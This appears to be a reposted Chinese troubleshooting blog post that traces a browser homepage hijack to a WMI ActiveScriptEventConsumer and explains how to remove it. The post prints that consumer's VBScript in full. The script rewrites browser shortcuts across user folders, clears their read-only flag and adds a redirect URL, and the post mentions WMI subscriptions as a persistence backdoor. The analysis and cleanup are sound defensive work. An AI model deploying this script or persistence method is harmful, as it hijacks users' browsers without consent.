解决hao123胁持chrome等浏览器主页问题
- 转自:http://xinghao.me/2016/03/01/2016-03-01-kill-hao123/
首先检查了一下chrome的主页设置,发现没有问题,依然是原来的google.com。
然后到chrome的安装目录,直接双击打开chrome程序,没有问题。
然后检查快捷方式。因为我把chrome固定到任务栏上,一般使用的时候都是点击任务栏图标的,而实际上这只是一个快捷方式。右键任务栏chrome图标->右键Google Chrome->属性,就会弹出该快捷方式的属性窗口。发现快捷方式的目标链接已经被修改,多加了一个启动参数:
1
|
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" http://hao.169x.cn/?v=108
|
而这个网址,打开之后就会重定向到hao123.com。
原因找出来了,出现主页被胁持的原因是系统里所有跟chrome有关的快捷方式都被修改,加了一个启动参数导致每次被启动时候都会跳转到这个网址。除了任务栏快捷方式之外,开始菜单中跟chrome有关的所有快捷方式都无一幸免。
修复尝试
定位出这个原因之后,结合网上的一些方法,进行了很多的尝试,最后也没有彻底解决:
-
手动删掉所有快捷方式中的启动参数。这个方法治标不治本,本来以为这样可以解决了,结果隔了一段时间,或者重启系统之后,所有快捷方式又会被恶意修改。
-
尝试了一下参考文章2的方法,但是找不到文中所说的注册表项和隐藏文件。
-
在注册表中搜索所有跟hao123相关的内容,然后删除,但是问题仍然存在。
-
用Everything搜索本地所有跟hao123相关的文件和文件夹,但是删除之后仍然没有解决问题。
-
最后找到了参考文章1的方法,但是在WMI event viewer中找不到文中所说的_EventFilter:Name=”unown_filter”
-
重装chrome,但是一段时间之后恶心的hao123又回来了
-
把所有chrome快捷方式设为只读,但是发现一段时间之后还是被恶意修改了
解决方法
经过这些头痛的尝试之后,决定先一步一步定位出原因,首先是要看一下到底是什么程序修改了chrome快捷方式。下载Process Monitor,菜单栏Filter->filter,在弹出的窗口中,把chrome的快捷方式路径添加到监视中:
注意这时候不要对chrome进行任何操作,包括打开、右键等等,以免造成干扰。监视一段时间之后,就会发现元凶露出了真面目:
就是这个叫scrcons.exe的程序在修改chrome快捷方式。
这时候发现定位出来的原因跟这篇文章中的原因是一样的,于是再次按照文中所说的方法,用WMI Event Viewer查看WMI事件。但仍然没有在root/subscription里面找到可疑项,最后几番查找,终于在root\CIMV2里面揪出了真凶。
首先打开WMI Event Viewer,点击左上角工具栏中的Register for Events按钮,默认就会连接到root\CIMV2,直接点确定即可。
然后在Consumer in root\CIMV2 -> _EventConsumer -> ActiveScriptEventConsumer下,找到了可疑项。
双击ActiveScriptEventConsumer.Name=”VBScriptKids_consumer”,弹出属性页面:
就会发现chrome快捷方式被修改的元凶 — ScriptText:
1
|
On Error Resume Next:Const link = "http://hao.169x.cn/?v=108":Const link360 = "http://hao.169x.cn/?v=108&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\chenxh\Desktop,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\chenxh\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:
|
这个脚本定期就会被系统调用一次,所以就算手动把快捷方式的参数清空,隔一段时间之后又会重新被改回来。
这也是很多流氓软件的常用招数,具体可以参考利用WMI打造完美“三无”后门。
恶意脚本分析
上面的VB脚本用冒号作为分隔符,把一段程序写成了一个语句,为了便于理解,把这段脚本重新排版了一下:
1
|
On Error Resume Next
|
可以看到,这段脚本就是遍历所有快捷方式目录(linkpaths)下的所有浏览器(browsers)的快捷方式,然后重新给快捷方式加上启动参数。
这时,我们只需要在WMI event里把 _EventConsumer 删除,右键删除,如果权限不足,去文件夹下右键管理员启动WMI Event。上述所用到的工具均可百度搜索到。